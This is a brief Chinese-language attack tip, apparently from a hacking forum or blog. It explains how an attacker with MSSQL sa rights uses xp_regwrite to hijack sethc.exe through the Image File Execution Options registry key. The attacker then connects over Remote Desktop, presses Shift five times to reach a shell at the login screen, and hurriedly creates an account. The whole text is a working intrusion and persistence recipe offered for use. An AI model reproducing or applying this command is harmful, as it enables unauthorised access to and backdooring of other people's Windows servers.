mssql 的映像劫持命令

sa权限连接上mssql,输入下面命令：

exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe','debugger','REG_SZ','c:\\windows\\explorer.exe'

之后快速3389连接上去，5次shift就能进入远程桌面，之后要快速的建立账户，因为很快连接就会断开了。